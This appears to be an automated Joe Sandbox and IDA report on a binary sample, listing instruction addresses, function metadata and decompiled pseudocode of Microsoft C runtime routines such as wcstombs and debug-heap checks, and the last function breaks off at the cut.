0x00427358
0x0042735e
0x00427360
0x00427365
0x00427367
0x0042736c
0x00427371
0x00427373
0x00427378
0x0042737e
0x00427380
0x00427380
0x0042737e
0x00427381
0x00427388
0x00000000
0x0042738a
0x0042738f
0x004273ab
0x004273b3
0x004273c0
0x004273c5
0x004280d8
0x004280e5
0x004280e5
0x00427388
0x00000000
0x004273f0
0x004273f0
0x004273f7
0x004273fa
0x004273fd
0x00427400
0x00427403
0x00427406
0x00427409
0x00427410
0x00427417
0x00000000
0x00000000
0x00427423
0x00427423
0x0042742a
0x00427436
0x00427439
0x00427446
0x00000000
0x00000000
0x00427448
0x00427448
0x0042744e
0x0042744e
0x00427455
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427498
0x00427498
0x004274a2
0x004274cc
0x004274cf
0x004274d2
0x004274d9
0x004274d9
0x004274dd
0x004274a4
0x004274a4
0x004274b0
0x004274b7
0x004274b9
0x004274bc
0x004274bf
0x004274c5
0x004274c7
0x004274c7
0x004274ca
0x004274e0
0x00000000
0x00000000
0x004274e5
0x004274e5
0x00000000
0x00000000
0x004274f1
0x004274f1
0x004274fb
0x0042751e
0x00427528
0x00427528
0x0042752c
0x004274fd
0x004274fd
0x00427509
0x00427510
0x00427512
0x00427512
0x00427519
0x00000000
0x00000000
0x00427534
0x00427534
0x0042753b
0x00427547
0x0042754a
0x00427557
0x0042766a
0x00000000
0x0042766a
0x0042755d
0x0042755d
0x00427563
0x00427563
0x0042756a
0x00000000
0x004275a0
0x004275a0
0x004275a3
0x004275a9
0x004275d1
0x004275d1
0x004275d4
0x004275da
0x004275ff
0x004275ff
0x00427602
0x00427608
0x00427641
0x00427652
0x00000000
0x00427652
0x0042760a
0x0042760a
0x0042760d
0x00427613
0x00000000
0x00000000
0x00427615
0x00427615
0x00427618
0x0042761e
0x00000000
0x00000000
0x00427620
0x00427620
0x00427623
0x00427629
0x00000000
0x00000000
0x0042762b
0x0042762b
0x0042762e
0x00427634
0x00000000
0x00000000
0x00427636
0x00427636
0x00427639
0x0042763f
0x00427643
0x00000000
0x00427643
0x00000000
0x0042763f
0x004275dc
0x004275dc
0x004275df
0x004275e6
0x00000000
0x004275e8
0x004275eb
0x004275ee
0x004275f1
0x004275f4
0x004275fa
0x00000000
0x004275fa
0x004275e6
0x004275ab
0x004275ab
0x004275ae
0x004275b5
0x00000000
0x004275b7
0x004275ba
0x004275bd
0x004275c0
0x004275c3
0x004275c9
0x00000000
0x004275c9
0x00000000
0x00427654
0x00427657
0x0042765a
0x00000000
0x00000000
0x00427571
0x00427571
0x00427574
0x0042757a
0x00427592
0x00427595
0x00427598
0x0042757c
0x0042757f
0x00427582
0x00427588
0x0042758d
0x0042758d
0x00000000
0x00000000
0x0042765f
0x00427662
0x00427667
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427472
0x00427475
0x00427478
0x00000000
0x00000000
0x0042747d
0x00427480
0x00427485
0x00000000
0x00000000
0x00427467
0x00427467
0x0042746a
0x0042746d
0x00000000
0x00000000
0x0042745c
0x0042745f
0x00427462
0x00000000
0x00000000
0x0042748a
0x0042748a
0x0042748d
0x00427490
0x00000000
0x00000000
0x00427493
0x00000000
0x00000000
0x004272ed
0x004280be
0x004280c4
0x004280cd
0x004280d2
0x00000000
0x004280d2
0x00427ebd
0x00427ec3
0x00427ecd
0x00427ee2
0x00427ef7
0x00427ef9
0x00427efd
0x00427efd
0x00427ee4
0x00427ee4
0x00427ee8
0x00427ee8
0x00427ecf
0x00427ecf
0x00427ed3
0x00427ed3
0x00427ecd
0x00427f0d
0x00427f19
0x00427f2f
0x00427f34
0x00427f34
0x00427f4a
0x00427f4f
0x00427f58
0x00427f76
0x00427f7b
0x00427f7b
0x00427f82
0x00428056
0x00428069
0x0042806e
0x00000000
0x00427f92
0x00427f92
0x00427f92
0x00427f9f
0x00427fa8
0x00427fae
0x00427fae
0x00427fbd
0x00427fc5
0x00000000
0x00000000
0x00427fcb
0x00427fd4
0x00427ff3
0x00427ff8
0x00427ffb
0x0042800a
0x00428017
0x00428022
0x00428022
0x00000000
0x0042802e
0x0042802e
0x00428047
0x0042804c
0x00000000
0x0042804c
0x00428017
0x00428054
0x00428071
0x00428078
0x00428096
0x0042809b
0x0042809b
0x00000000
0x00428078
0x0042766f
0x0042766f
0x00427676
0x0042767c
0x00427682
0x00427685
0x0042768b
0x0042769e
0x0042769e
0x004276a5
0x00000000
0x004279ff
0x004279ff
0x00427a06
0x00427a0d
0x00427a10
0x00000000
0x00000000
0x004276ac
0x004276af
0x004276b5
0x004276ba
0x004276bf
0x004276bf
0x00000000
0x00000000
0x004277ec
0x004277ef
0x004277f4
0x004277f9
0x004277ff
0x004277ff
0x00000000
0x00000000
0x00427bcc
0x00427bcc
0x00000000
0x00000000
0x00427756
0x00427756
0x00427762
0x0042776f
0x0042777d
0x0042777d
0x00427783
0x00427786
0x00427792
0x004277e7
0x00000000
0x004277e7
0x00427771
0x00427771
0x0042777b
0x00427797
0x0042779a
0x004277a0
0x004277c8
0x004277cf
0x004277d5
0x004277d8
0x004277db
0x004277e1
0x004277e4
0x004277a2
0x004277a2
0x004277a8
0x004277ab
0x004277ae
0x004277b4
0x004277b7
0x004277ba
0x004277bc
0x004277bf
0x004277bf
0x00000000
0x004277a0
0x00000000
0x00000000
0x00427a16
0x00427a19
0x00427a1c
0x00427a1f
0x00427a25
0x00427a28
0x00427a33
0x00427a3e
0x00427a42
0x00427a59
0x00427a60
0x00427a62
0x00427a62
0x00427a69
0x00427a70
0x00427a81
0x00427a90
0x00427a97
0x00427aad
0x00427a99
0x00427a99
0x00427a9c
0x00427aa2
0x00427aa8
0x00427aa8
0x00427a97
0x00427ab7
0x00427aba
0x00427abd
0x00427ac0
0x00427ac0
0x00427ac3
0x00427ac3
0x00427ac6
0x00427acc
0x00427ad2
0x00427ada
0x00427adb
0x00427ade
0x00427adf
0x00427ae2
0x00427ae3
0x00427aea
0x00427aeb
0x00427aee
0x00427aef
0x00427af2
0x00427af3
0x00427af9
0x00427afa
0x00427b08
0x00427b0a
0x00427b10
0x00427b16
0x00427b1e
0x00427b26
0x00427b27
0x00427b2a
0x00427b2b
0x00427b39
0x00427b3b
0x00427b3b
0x00427b3e
0x00427b48
0x00427b4d
0x00427b53
0x00427b55
0x00427b5d
0x00427b5e
0x00427b61
0x00427b62
0x00427b71
0x00427b73
0x00427b73
0x00427b53
0x00427b76
0x00427b79
0x00427b7f
0x00427b84
0x00427b8a
0x00427b90
0x00427b93
0x00427b93
0x00427b96
0x00427ba2
0x00000000
0x00427ba2
0x00427a44
0x00427a44
0x00427a4e
0x00000000
0x00000000
0x00427a50
0x00427a50
0x00000000
0x00427a50
0x00427a35
0x00427a35
0x00000000
0x00000000
0x004276c2
0x004276c5
0x004276cb
0x00427726
0x0042772e
0x00427735
0x0042773b
0x00427741
0x004276cd
0x004276cd
0x004276d7
0x004276db
0x004276e3
0x004276ea
0x004276f7
0x004276fe
0x0042770a
0x00427717
0x00427719
0x00427719
0x00427720
0x00427748
0x0042774e
0x00000000
0x00000000
0x00427baa
0x00427bad
0x00427bb0
0x00427bb3
0x00000000
0x00000000
0x00427908
0x00427908
0x00427914
0x00427921
0x004279cb
0x004279ce
0x004279d1
0x004279e5
0x004279eb
0x004279f1
0x004279d3
0x004279d3
0x004279e0
0x004279e0
0x004279f3
0x00000000
0x004279f3
0x00427927
0x00427927
0x00427929
0x00427937
0x0042792b
0x0042792b
0x0042792b
0x00427941
0x00427947
0x00427954
0x00427956
0x0042795b
0x0042795d
0x00427962
0x00427967
0x00427969
0x0042796e
0x00427974
0x00427976
0x00427976
0x00427974
0x0042797e
0x004279c6
0x00000000
0x00427980
0x00427980
0x00427985
0x004279a1
0x004279a9
0x004279b3
0x004279b6
0x004279bb
0x00000000
0x004279bb
0x00000000
0x00427c0d
0x00427c0d
0x00427c17
0x00427c1d
0x00427c22
0x00427c28
0x00427c28
0x00000000
0x00000000
0x00427bc5
0x00427bc5
0x00000000
0x00000000
0x00427802
0x00427806
0x00427814
0x00427817
0x00427808
0x00427808
0x00427808
0x0042781d
0x00427823
0x00427829
0x00427835
0x0042783b
0x00427841
0x004278a8
0x004278ac
0x004278ae
0x004278b4
0x004278b4
0x004278b7
0x004278ba
0x004278c0
0x004278c0
0x004278c0
0x004278cc
0x004278cf
0x004278d7
0x00000000
0x00000000
0x004278d9
0x004278d9
0x004278df
0x004278e4
0x00000000
0x00000000
0x004278e6
0x004278ec
0x004278ef
0x004278ef
0x004278f7
0x004278fd
0x00427900
0x00000000
0x00427843
0x00427843
0x00427847
0x00427849
0x0042784e
0x0042784e
0x00427851
0x00427858
0x0042785b
0x00427861
0x00427861
0x00427861
0x0042786d
0x00427870
0x00427878
0x00000000
0x00000000
0x0042787a
0x0042787a
0x00427880
0x00427885
0x00000000
0x00000000
0x00427887
0x0042788d
0x00427890
0x00427890
0x00427898
0x0042789e
0x004278a1
0x004278a3
0x00427903
0x00000000
0x00427903
0x00000000
0x00000000
0x00000000
0x00427bd8
0x00427bd8
0x00427be2
0x00427be2
0x00427bec
0x00427bf2
0x00427bf4
0x00427bfe
0x00427c01
0x00427c04
0x00427c04
0x00000000
0x00000000
0x00000000
0x00000000
0x004276a5
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb3
0x00427d10
0x00427d07
0x00427c2b
0x00427c2b
0x00427c2b

APIs

_get_int64_arg.LIBCMTD ref: 00427C39
_get_int64_arg.LIBCMTD ref: 00427C61
__aullrem.LIBCMT ref: 00427E06
__aulldiv.LIBCMT ref: 00427E28

Strings

9, xrefs: 00427E39

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction ID: d16a5e59476475704c7c9853b2cbddf97feed4bf0f5d3c25ce9d62a546b142f1
Opcode Fuzzy Hash: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction Fuzzy Hash: 0D41F571E18229DFDB64DF59E989BAEB7B5BF84304F5045DAD009A7201C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041C7E3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041C8ED
__free_base.LIBCMTD ref: 0041C8F9

Strings

pHead->nBlockUse == nBlockUse, xrefs: 0041C7FB
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C807

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse
API String ID: 2669475236-3676899318
Opcode ID: 51dad71e2ab4394da7975f0f471940e97f980e49e5c8300b54f6ac4105ffffcd
Instruction ID: 0b607a53a7d3f6521b8d5fdbb4f9fbc4d22480bdb209c433ab55fe0dd05f8368
Opcode Fuzzy Hash: 51dad71e2ab4394da7975f0f471940e97f980e49e5c8300b54f6ac4105ffffcd
Instruction Fuzzy Hash: A2218178A40104EFCB04DF54DAC5AAAB3B2BB89309F34C199D5151B386C779EE42DF89

Uniqueness

Uniqueness Score: -1.00%

Function 0041C85E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041C8ED
__free_base.LIBCMTD ref: 0041C8F9

Strings

_pLastBlock == pHead, xrefs: 0041C85E
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C86A

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: 0c7678b4b6855d5a69be44a663b38ac89b007596763e933cdb05b3e734ba3517
Instruction ID: a1465ce7c4a61a38441a4abd7e48f15a8274c3918dc0a8580b35dad3219f60f4
Opcode Fuzzy Hash: 0c7678b4b6855d5a69be44a663b38ac89b007596763e933cdb05b3e734ba3517
Instruction Fuzzy Hash: E101D4B8A80104EBC700DB54DEC1E9AB3B1AB89308F30819AE9092B381D275DF41DB89

Uniqueness

Uniqueness Score: -1.00%

Function 00437016, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00437016(intOrPtr __ebx, void* __edx, intOrPtr __edi, intOrPtr __esi) {
				intOrPtr* _t155;
				signed int* _t157;
				signed int _t162;
				intOrPtr* _t179;
				intOrPtr _t201;
				void* _t220;
				intOrPtr _t221;
				void* _t222;
				intOrPtr _t240;
				intOrPtr _t247;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t294;

				_t291 = __esi;
				_t290 = __edi;
				_t221 = __ebx;
				if( *(_t292 + 0x10) != 0) {
					 *(_t292 - 0x30) = 0 |  *(_t292 + 0xc) != 0x00000000;
					if( *(_t292 - 0x30) == 0) {
						_push(L"pwcs != NULL");
						_push(0);
						_push(0x66);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t220 = L0041E210();
						_t294 = _t294 + 0x14;
						if(_t220 == 1) {
							asm("int3");
						}
					}
					if( *(_t292 - 0x30) != 0) {
						_t274 =  *(_t292 + 0x14);
						L0041ABD0(_t292 - 0x20,  *(_t292 + 0x14));
						if( *(_t292 + 8) == 0) {
							_t155 = E0041ACE0(_t292 - 0x20);
							_t225 =  *_t155;
							if( *((intOrPtr*)( *_t155 + 0x14)) != 0) {
								_t227 = _t292 - 0x20;
								_t157 = E0041ACE0(_t292 - 0x20);
								_t274 =  *_t157;
								 *(_t292 - 4) = WideCharToMultiByte( *( *_t157 + 4), 0,  *(_t292 + 0xc), 0xffffffff, 0, 0, 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422D00(_t227))) = 0x2a;
									 *(_t292 - 0x68) = 0xffffffff;
									E0041ACB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x68);
								} else {
									 *(_t292 - 0x6c) =  *(_t292 - 4) - 1;
									E0041ACB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x6c);
								}
							} else {
								_t274 =  *(_t292 + 0xc);
								 *(_t292 - 0x64) = E0042DB50(_t225,  *(_t292 + 0xc));
								E0041ACB0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x64);
							}
						} else {
							if( *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t292 - 0x20))) + 0x14)) != 0) {
								if( *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t292 - 0x20))) + 0xac)) != 1) {
									_t240 =  *((intOrPtr*)(E0041ACE0(_t292 - 0x20)));
									_t274 =  *(_t240 + 4);
									 *(_t292 - 4) = WideCharToMultiByte( *(_t240 + 4), 0,  *(_t292 + 0xc), 0xffffffff,  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
									if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
										if( *(_t292 - 0x10) != 0 || GetLastError() != 0x7a) {
											 *((intOrPtr*)(L00422D00(_t240))) = 0x2a;
											 *(_t292 - 0x4c) = 0xffffffff;
											E0041ACB0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x4c);
										} else {
											while( *(_t292 - 4) <  *(_t292 + 0x10)) {
												_t179 = E0041ACE0(_t292 - 0x20);
												_t247 =  *((intOrPtr*)(E0041ACE0(_t292 - 0x20)));
												_t274 =  *(_t247 + 4);
												 *((intOrPtr*)(_t292 - 0xc)) = WideCharToMultiByte( *(_t247 + 4), 0,  *(_t292 + 0xc), 1, _t292 - 0x2c,  *( *_t179 + 0xac), 0, _t292 - 0x10);
												if( *((intOrPtr*)(_t292 - 0xc)) == 0 ||  *(_t292 - 0x10) != 0) {
													 *((intOrPtr*)(L00422D00(_t247))) = 0x2a;
													 *(_t292 - 0x50) = 0xffffffff;
													E0041ACB0(_t292 - 0x20);
													_t162 =  *(_t292 - 0x50);
												} else {
													if( *((intOrPtr*)(_t292 - 0xc)) < 0 ||  *((intOrPtr*)(_t292 - 0xc)) > 5) {
														 *((intOrPtr*)(L00422D00(_t247))) = 0x2a;
														 *(_t292 - 0x54) = 0xffffffff;
														E0041ACB0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x54);
													} else {
														if( *(_t292 - 4) +  *((intOrPtr*)(_t292 - 0xc)) <=  *(_t292 + 0x10)) {
															 *(_t292 - 8) = 0;
															while( *(_t292 - 8) <  *((intOrPtr*)(_t292 - 0xc))) {
																( *(_t292 + 8))[ *(_t292 - 4)] =  *((intOrPtr*)(_t292 +  *(_t292 - 8) - 0x2c));
																_t274 =  &(( *(_t292 + 8))[ *(_t292 - 4)]);
																if(( *(_t292 + 8))[ *(_t292 - 4)] != 0) {
																	 *(_t292 - 8) =  *(_t292 - 8) + 1;
																	 *(_t292 - 4) =  *(_t292 - 4) + 1;
																	continue;
																}
																 *(_t292 - 0x5c) =  *(_t292 - 4);
																E0041ACB0(_t292 - 0x20);
																_t162 =  *(_t292 - 0x5c);
																goto L55;
															}
															_t274 =  &(( *(_t292 + 0xc))[1]);
															 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
															continue;
														}
														 *(_t292 - 0x58) =  *(_t292 - 4);
														E0041ACB0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x58);
													}
												}
												goto L55;
											}
											 *(_t292 - 0x60) =  *(_t292 - 4);
											E0041ACB0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x60);
										}
									} else {
										 *(_t292 - 0x48) =  *(_t292 - 4) - 1;
										E0041ACB0(_t292 - 0x20);
										_t162 =  *(_t292 - 0x48);
									}
									goto L55;
								}
								if( *(_t292 + 0x10) > 0) {
									 *(_t292 + 0x10) = E00437480( *(_t292 + 0xc),  *(_t292 + 0x10));
								}
								_t274 =  *(_t292 + 0xc);
								_t201 =  *((intOrPtr*)(E0041ACE0(_t292 - 0x20)));
								_t260 =  *(_t201 + 4);
								 *(_t292 - 4) = WideCharToMultiByte( *(_t201 + 4), 0,  *(_t292 + 0xc),  *(_t292 + 0x10),  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422D00(_t260))) = 0x2a;
									 *(_t292 - 0x44) = 0xffffffff;
									E0041ACB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x44);
								} else {
									if( *((char*)( &(( *(_t292 + 8))[ *(_t292 - 4)]) - 1)) == 0) {
										 *(_t292 - 4) =  *(_t292 - 4) - 1;
									}
									_t274 =  *(_t292 - 4);
									 *(_t292 - 0x40) =  *(_t292 - 4);
									E0041ACB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x40);
								}
								goto L55;
							} else {
								goto L10;
							}
							while(1) {
								L10:
								_t265 =  *(_t292 - 4);
								if( *(_t292 - 4) >=  *(_t292 + 0x10)) {
									break;
								}
								_t274 =  *(_t292 + 0xc);
								if(( *( *(_t292 + 0xc)) & 0x0000ffff) <= 0xff) {
									( *(_t292 + 8))[ *(_t292 - 4)] =  *( *(_t292 + 0xc));
									_t274 =  *( *(_t292 + 0xc)) & 0x0000ffff;
									 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
									if(( *( *(_t292 + 0xc)) & 0x0000ffff) != 0) {
										_t274 =  *(_t292 - 4) + 1;
										 *(_t292 - 4) =  *(_t292 - 4) + 1;
										continue;
									}
									 *(_t292 - 0x38) =  *(_t292 - 4);
									E0041ACB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x38);
									goto L55;
								}
								 *((intOrPtr*)(L00422D00(_t265))) = 0x2a;
								 *(_t292 - 0x34) = 0xffffffff;
								E0041ACB0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x34);
								goto L55;
							}
							 *(_t292 - 0x3c) =  *(_t292 - 4);
							E0041ACB0(_t292 - 0x20);
							_t162 =  *(_t292 - 0x3c);
						}
					} else {
						 *((intOrPtr*)(L00422D00(_t222))) = 0x16;
						_t162 = E00422A90(_t221, _t222, _t290, _t291, L"pwcs != NULL", L"_wcstombs_l_helper", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x66, 0) | 0xffffffff;
					}
					goto L55;
				} else {
					_t162 = 0;
					L55:
					return E0042BCB0(_t162, _t221,  *(_t292 - 0x24) ^ _t292, _t274, _t290, _t291);
				}
			}

0x00437016
0x00437016
0x00437016
0x0043701a
0x0043702c
0x00437033
0x00437035
0x0043703a
0x0043703c
0x0043703e
0x00437043
0x00437045
0x0043704a
0x00437050
0x00437052
0x00437052
0x00437050
0x00437057
0x00437087
0x0043708e
0x00437097
0x004373ce
0x004373d3
0x004373d9
0x0043740b
0x0043740e
0x00437413
0x0043741f
0x00437426
0x00437433
0x00437439
0x00437443
0x00437448
0x0043744d
0x00437453
0x00437459
0x0043745e
0x0043745e
0x004373db
0x004373db
0x004373e7
0x004373ed
0x004373f2
0x004373f2
0x0043709d
0x004370ab
0x00437155
0x00437221
0x00437223
0x0043722d
0x00437234
0x00437259
0x0043726b
0x00437271
0x0043727b
0x00437280
0x00437288
0x00437288
0x0043729d
0x004372bf
0x004372c1
0x004372cb
0x004372d2
0x004372df
0x004372e5
0x004372ef
0x004372f4
0x004372fc
0x00437300
0x0043730d
0x00437313
0x0043731d
0x00437322
0x0043732a
0x00437333
0x0043734b
0x00437366
0x0043737b
0x00437380
0x00437388
0x0043735a
0x00437363
0x00000000
0x00437363
0x0043738d
0x00437393
0x00437398
0x00000000
0x00437398
0x004373a5
0x004373a8
0x00000000
0x004373a8
0x00437338
0x0043733e
0x00437343
0x00437343
0x00437300
0x00000000
0x004372d2
0x004373b3
0x004373b9
0x004373be
0x004373be
0x0043723c
0x00437242
0x00437248
0x0043724d
0x0043724d
0x00000000
0x00437234
0x0043715f
0x00437171
0x00437171
0x00437186
0x00437194
0x00437196
0x004371a0
0x004371a7
0x004371e1
0x004371e7
0x004371f1
0x004371f6
0x004371af
0x004371bb
0x004371c3
0x004371c3
0x004371c6
0x004371c9
0x004371cf
0x004371d4
0x004371d4
0x00000000
0x00000000
0x00000000
0x00000000
0x004370b1
0x004370b1
0x004370b1
0x004370b7
0x00000000
0x00000000
0x004370b9
0x004370c4
0x004370f3
0x004370f8
0x00437101
0x00437106
0x00437121
0x00437124
0x00000000
0x00437124
0x0043710b
0x00437111
0x00437116
0x00000000
0x00437116
0x004370cb
0x004370d1
0x004370db
0x004370e0
0x00000000
0x004370e0
0x0043712c
0x00437132
0x00437137
0x00437137
0x00437059
0x0043705e
0x0043707f
0x0043707f
0x00000000
0x0043701c
0x0043701c
0x0043746b
0x00437478
0x00437478

APIs

__invalid_parameter.LIBCMTD ref: 00437077

Strings

pwcs != NULL, xrefs: 00437035, 00437072
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043703E, 00437068
_wcstombs_l_helper, xrefs: 0043706D

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: 2b1f287f38c702de7cfd52cd2d906e40cfd5b83070ebafd4c59885059780b8f3
Instruction ID: 776068e3c0788551bd3a6182833390848988e819d6038e7add77da49d5b13b6b
Opcode Fuzzy Hash: 2b1f287f38c702de7cfd52cd2d906e40cfd5b83070ebafd4c59885059780b8f3
Instruction Fuzzy Hash: EBF0C870F84328BAD7306E619D03B5E72606758B28F20252FF986742C3DBFE45508A5D

Uniqueness

Uniqueness Score: -1.00%

Function 004374F5, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E004374F5(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _t85;
				intOrPtr _t86;
				void* _t91;
				signed int _t95;
				void* _t103;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int _t121;
				signed int _t123;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;

				_t143 = __esi;
				_t142 = __edi;
				_t112 = __ecx;
				_t111 = __ebx;
				if( *(_t144 + 0x10) > 0 ||  *(_t144 + 0xc) == 0 &&  *(_t144 + 0x10) == 0) {
					 *((intOrPtr*)(_t144 - 0x1c)) = 1;
				} else {
					 *((intOrPtr*)(_t144 - 0x1c)) = 0;
				}
				 *((intOrPtr*)(_t144 - 0x10)) =  *((intOrPtr*)(_t144 - 0x1c));
				if( *((intOrPtr*)(_t144 - 0x10)) == 0) {
					_push(L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)");
					_push(0);
					_push(0x133);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t110 = L0041E210();
					_t146 = _t146 + 0x14;
					if(_t110 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t144 - 0x10)) != 0) {
					__eflags =  *(_t144 + 0xc);
					if( *(_t144 + 0xc) != 0) {
						_t128 =  *(_t144 + 0xc);
						 *_t128 = 0;
						__eflags =  *(_t144 + 0x10) - 0xffffffff;
						if( *(_t144 + 0x10) != 0xffffffff) {
							__eflags =  *(_t144 + 0x10) - 0x7fffffff;
							if( *(_t144 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t144 + 0x10) - 1;
								if( *(_t144 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t128 =  *(_t144 + 0x10) - 1;
										__eflags = _t128;
										 *(_t144 - 0x20) = _t128;
									} else {
										_t127 =  *0x440208; // 0xffffffff
										 *(_t144 - 0x20) = _t127;
									}
									__eflags =  *(_t144 + 0xc) + 1;
									E0041B3A0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x20));
									_t146 = _t146 + 0xc;
								}
							}
						}
					}
					__eflags =  *(_t144 + 8);
					if( *(_t144 + 8) != 0) {
						_t128 =  *(_t144 + 8);
						 *_t128 = 0;
					}
					__eflags =  *(_t144 + 0x18) -  *(_t144 + 0x10);
					if( *(_t144 + 0x18) <=  *(_t144 + 0x10)) {
						_t128 =  *(_t144 + 0x18);
						 *(_t144 - 0x24) = _t128;
					} else {
						 *(_t144 - 0x24) =  *(_t144 + 0x10);
					}
					 *(_t144 - 8) =  *(_t144 - 0x24);
					__eflags = 0x7fffffff -  *(_t144 - 8);
					asm("sbb edx, edx");
					_t129 = _t128 + 1;
					__eflags = _t129;
					 *(_t144 - 0x14) = _t129;
					if(_t129 == 0) {
						_push(L"bufferSize <= INT_MAX");
						_push(0);
						_push(0x13f);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t103 = L0041E210();
						_t146 = _t146 + 0x14;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t144 - 0x14);
					if( *(_t144 - 0x14) != 0) {
						_t115 =  *(_t144 + 0xc);
